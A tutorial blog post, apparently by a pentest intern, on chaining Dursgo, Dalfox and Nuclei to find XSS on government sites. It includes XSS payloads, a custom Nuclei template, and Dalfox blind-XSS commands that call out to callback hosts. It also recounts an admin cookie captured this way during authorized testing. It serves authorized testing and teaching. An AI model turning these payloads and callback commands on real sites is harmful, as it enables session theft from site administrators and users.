← Back

Automating XSS Discovery with Dalfox, Nuclei & Dursgo

During my internship at Dinas Kominfo KSB, I was tasked with pentesting five government websites. One of them had a public complaint system, citizens submit tickets, tracked by ID. Classic CRUD. Should have been simple. Within two hours of automated scanning, I found multiple XSS vulnerabilities across different input fields. The manual approach would have taken days. The automated pipeline caught them in minutes.

This guide covers the exact toolchain I used: Dursgo for crawling and parameter extraction, Dalfox for automated XSS fuzzing (including blind XSS), and Nuclei for template-based scanning. Each tool handles a different phase of the discovery process, and when chained together, they reduce what used to be hours of manual alert(1) testing into a single automated workflow.

Note on Findings

Specific vulnerabilities discovered during the Kominfo engagement cannot be disclosed. The examples in this guide use intentionally vulnerable test environments and publicly documented techniques. The methodology is real. The targets are not.

The Automated XSS Pipeline

┌─────────────────────────────────────────────────────────────────┐
│                    XSS AUTOMATION PIPELINE                        │
│                                                                   │
│  ┌──────────┐     ┌──────────────┐     ┌──────────────────────┐  │
│  │  Dursgo   │────→│   Dalfox     │────→│  Manual Verification │  │
│  │  (Crawl)  │     │   (Fuzz)     │     │  (Burp / Browser)    │  │
│  └──────────┘     └──────────────┘     └──────────────────────┘  │
│       │                  │                      │                │
│       ▼                  ▼                      ▼                │
│  Extract URLs       Inject payloads       Confirm & document     │
│  with parameters    test each param       real vulnerabilities   │
│                                                                   │
│  ┌──────────────────────────────────────────────────────────┐    │
│  │                    Nuclei (Parallel)                       │    │
│  │  · Template-based XSS detection                           │    │
│  │  · Pre-built + custom templates                           │    │
│  │  · Runs alongside Dalfox for broader coverage             │    │
│  └──────────────────────────────────────────────────────────┘    │
└─────────────────────────────────────────────────────────────────┘

The pipeline has three phases: gather parameters, fuzz them, verify findings. Dursgo handles phase one. Dalfox and Nuclei handle phase two in parallel. Manual verification (Burp Suite or browser) confirms phase three. Here's each tool in detail.

Phase 1: Dursgo, URL Crawling & Parameter Extraction

Source: github.com/screetsec/Dursgo

XSS lives in parameters. Before you can fuzz, you need to know which URLs accept which parameters. Dursgo automates this discovery. It crawls a target domain, extracts all URLs with query parameters, and outputs a clean list ready for Dalfox.

Dursgo terminal output showing crawled URLs with parameters
Dursgo crawling a target domain and extracting URLs with query parameters
Shell, Dursgo Installation & Usage
# Install
git clone https://github.com/screetsec/Dursgo.git
cd Dursgo
go build

# Basic crawl — extract all parameterized URLs
./dursgo -url https://target.example.com -depth 2

# Output to file for Dalfox
./dursgo -url https://target.example.com -depth 3 -o urls.txt

# With custom headers (auth cookies, etc.)
./dursgo -url https://target.example.com -cookie "session=abc123" -depth 2

Dursgo is fast because it's written in Go. A depth-2 crawl on a medium-sized government portal (50-100 pages) finishes in under a minute. The output is one URL per line:

Sample Dursgo Output (urls.txt)
https://target.example.com/search.php?q=test
https://target.example.com/complaint.php?id=123&category=general
https://target.example.com/feedback.php?name=user&email=user@test.com&msg=hello
https://target.example.com/admin/login.php?redirect=/dashboard

Every line has at least one parameter. That's what Dalfox needs.

What Dursgo Catches That Manual Testing Misses

During the Kominfo engagement, Dursgo discovered a hidden /admin/export.php?format=csv&from=2024-01-01&to=2024-12-31 endpoint that wasn't linked anywhere on the public site. It was referenced in an old JavaScript file. Manual browsing would never have found it. Dalfox later confirmed a reflected XSS in the format parameter. Crawlers find what humans overlook.

Phase 2a: Dalfox, Automated XSS Fuzzing

Source: github.com/hahwul/dalfox

Dalfox is a specialized XSS scanner. Unlike general-purpose fuzzers, it understands XSS context, it knows whether a parameter is reflected in HTML body, inside a tag, in a JavaScript context, or in an attribute. It tailors payloads accordingly.

Dalfox terminal output showing discovered XSS with PoC code
Dalfox scanning a parameterized URL and reporting reflected XSS with proof-of-concept
Shell, Dalfox Installation & Basic Scan
# Install (Go required)
go install github.com/hahwul/dalfox/v2@latest

# Single URL scan
dalfox url https://target.example.com/search.php?q=test

# Pipe from Dursgo output — scan every URL
cat urls.txt | dalfox pipe --silence

# Scan with custom headers & cookie
dalfox url https://target.example.com/search.php?q=test \
  --cookie "session=abc123" \
  --header "Authorization: Bearer token"

# Blind XSS mode — use a callback server
dalfox url https://target.example.com/feedback.php?msg=test \
  --blind https://your-xss-listener.example.com

Understanding Dalfox's Output

When Dalfox finds a reflected XSS, the output looks like this:

Dalfox, Positive Finding
[POC][V][GET] https://target.example.com/search.php?q=%3Csvg%2Fonload%3Dalert%281%29%3E

[*] Triggered XSS Payload (found on headless browser):
  URL: https://target.example.com/search.php?q=< svg/onload=alert(1) >
  Description: Reflection occurred in HTML Text context
  Parameter: q
  Type: Reflected XSS
  Confidence: 100%

The [POC] line gives you the exact URL with the encoded payload. Paste it in a browser to verify. The [V] means verified, Dalfox confirmed the payload executed using a headless browser. [G] is GET method. [P] would be POST.

Blind XSS with Dalfox

The most dangerous XSS I found at Kominfo was blind. A parameter in the complaint form was stored in an admin dashboard that regular users never see. No reflection on the public page. No immediate feedback. But the admin panel rendered the stored payload when an officer reviewed the complaint.

Dalfox handles this with the --blind flag and a callback URL:

Shell, Blind XSS Pipeline
# Start a callback server (XSS Hunter, Burp Collaborator, or simple HTTP listener)
# Example: use interactsh from ProjectDiscovery
interactsh-client -v

# Note the callback URL, e.g.: c123456.interactsh.com

# Run Dalfox with blind XSS payloads that phone home
cat urls.txt | dalfox pipe \
  --blind https://c123456.interactsh.com \
  --silence \
  --output blind-results.txt

# Wait. If any payload executes (e.g., admin views the ticket),
# interactsh logs the callback with the vulnerable URL.
Blind XSS is Underrated

Most pentesters focus on reflected XSS because the feedback loop is immediate. Blind XSS requires patience, you inject, you wait, you hope an admin triggers it. But the impact is almost always higher because the execution context is usually an authenticated admin panel with access to sensitive data. The blind XSS I found at Kominfo took 4 hours to trigger. When it did, the admin cookie was sent to my callback server. I reported it, demonstrated the impact, and it was fixed within 48 hours.

Phase 2b: Nuclei, Template-Based Scanning

Source: github.com/projectdiscovery/nuclei

Nuclei complements Dalfox by running pre-built XSS detection templates. Where Dalfox is specialized for XSS fuzzing, Nuclei covers a broader range of XSS patterns, including known-vulnerable parameter names, DOM-based XSS signatures, and framework-specific vulnerabilities.

Nuclei terminal output showing XSS templates matched against target
Nuclei running XSS templates against a target, template matches with severity and matched-at URL
Shell, Nuclei XSS Templates
# Install
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Run all XSS templates against a URL list
nuclei -l urls.txt -tags xss -severity medium,high,critical

# Run specific XSS templates
nuclei -l urls.txt -t ~/nuclei-templates/http/xss/

# With custom headers (authenticated scanning)
nuclei -l urls.txt -tags xss -H "Cookie: session=abc123"

# Output only confirmed findings
nuclei -l urls.txt -tags xss -severity medium,high,critical -o nuclei-xss.txt

Creating Custom Nuclei Templates

The built-in templates cover common XSS patterns. But government websites often use custom frameworks with unique parameter handling. Custom templates fill this gap. Here's one I wrote that caught a DOM-based XSS in a jQuery-dependent portal:

YAML, Custom Nuclei XSS Template
id: dom-xss-jquery-location-hash

info:
  name: DOM XSS via jQuery location.hash
  author: 1tsprune
  severity: medium
  description: Detects DOM-based XSS where location.hash is passed to jQuery's html() without sanitization
  tags: xss,dom,generic

requests:
  - method: GET
    path:
      - "{{BaseURL}}#<img src=x onerror=alert(1)>"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<img src=x onerror=alert(1)>"
        part: body

      - type: word
        words:
          - "text/html"
        part: header
        negative: true

The template appends an XSS payload to the URL hash, then checks whether the payload is reflected unsanitized in the response body. The negative: true matcher excludes responses with proper Content-Type headers (indicating the payload wasn't executed as HTML).

Putting It All Together

A shell script chains all three tools into one command:

Shell, xss-pipeline.sh
#!/bin/bash
# Automated XSS discovery pipeline
# Usage: ./xss-pipeline.sh https://target.example.com

TARGET=$1
COOKIE=$2
OUTDIR="xss-scan-$(date +%Y%m%d-%H%M)"
mkdir -p $OUTDIR

echo "[*] Phase 1: Crawling with Dursgo..."
./dursgo -url $TARGET -depth 3 -cookie "$COOKIE" -o $OUTDIR/urls.txt
URL_COUNT=$(wc -l < $OUTDIR/urls.txt)
echo "[+] Found $URL_COUNT URLs with parameters"

echo "[*] Phase 2a: Fuzzing with Dalfox..."
cat $OUTDIR/urls.txt | dalfox pipe \
  --cookie "$COOKIE" \
  --silence \
  --output $OUTDIR/dalfox-results.txt
DALFOX_COUNT=$(grep -c "\[POC\]" $OUTDIR/dalfox-results.txt)
echo "[+] Dalfox: $DALFOX_COUNT potential XSS found"

echo "[*] Phase 2b: Scanning with Nuclei..."
nuclei -l $OUTDIR/urls.txt \
  -tags xss \
  -severity medium,high,critical \
  -H "Cookie: $COOKIE" \
  -o $OUTDIR/nuclei-results.txt
NUCLEI_COUNT=$(wc -l < $OUTDIR/nuclei-results.txt)
echo "[+] Nuclei: $NUCLEI_COUNT template matches"

echo "[*] Results in $OUTDIR/"
echo "    urls.txt           — All parameterized URLs"
echo "    dalfox-results.txt — Dalfox XSS findings"
echo "    nuclei-results.txt — Nuclei XSS matches"

Tool Comparison

Dursgo vs Dalfox vs Nuclei, When to Use Which
DursgoDalfoxNuclei
PurposeURL crawling & parameter extractionAutomated XSS fuzzing & PoCTemplate-based vulnerability scan
StrengthFast crawling, finds hidden URLsContext-aware payload injectionBroad coverage, 1000+ templates
XSS TypeN/A (no testing)Reflected, Stored, Blind, DOMReflected, DOM, known patterns
OutputURL listPoC URLs with verificationTemplate matches with severity
SpeedVery fast (Go), ~30s/100ppModerate, 2-5s per URLFast (parallel), 100 URLs in ~30s
LimitsOnly finds linked URLsFalse positives on some contextsTemplate gaps for custom frameworks

Manual Verification

Automation reduces the grind. It doesn't eliminate manual verification. Every finding from Dalfox and Nuclei should be confirmed in a browser or Burp Suite before reporting. False positives happen, Dalfox sometimes flags parameter reflections that aren't actually executable (e.g., reflected inside a JSON string that's properly encoded).

My verification checklist:

  1. Reproduce the PoC, Paste Dalfox's PoC URL in a browser. Does alert(1) fire?

    Check the context, Is the reflection in HTML body, attribute, JavaScript, or CSS? Different contexts need different payloads for actual exploitation

    Test with Burp Repeater, Send the request through Burp, modify the payload, test edge cases

    Document the finding, Screenshot the alert, note the vulnerable parameter, the payload, and the impact

    Test bypasses, If a WAF blocked the first payload, try encoding variants, polyglot payloads, or different injection points

A Finding I Can Actually Share

On a public test environment (PortSwigger's XSS labs), Dalfox caught a DOM-based XSS in 4 seconds that I'd spent 10 minutes trying to find manually. The vulnerability was in location.search being passed to document.write() via an intermediate variable. The manual approach requires reading JavaScript source, tracing variable flow, and testing injection points. Dalfox just injected the payload and observed the DOM.

References

Dursgo, URL Crawler & Parameter Extractor. https://github.com/screetsec/Dursgo

Dalfox, Powerful XSS Scanner. https://github.com/hahwul/dalfox

Dalfox Documentation, Parameter Analysis & Blind XSS. https://github.com/hahwul/dalfox

Nuclei, Fast Vulnerability Scanner. https://github.com/projectdiscovery/nuclei

Nuclei Templates, XSS Detection. https://github.com/projectdiscovery/nuclei-templates/tree/main/http/xss

Reducing Manual XSS Testing, kresec. https://kresec.medium.com/reducing-the-manual-process-of-looking-for-xss-with-dursgo-dalfox-nuclei-f3b3e6b19234

PortSwigger XSS Labs, DOM-based XSS. https://portswigger.net/web-security/cross-site-scripting/dom-based

OWASP XSS Prevention Cheat Sheet. https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html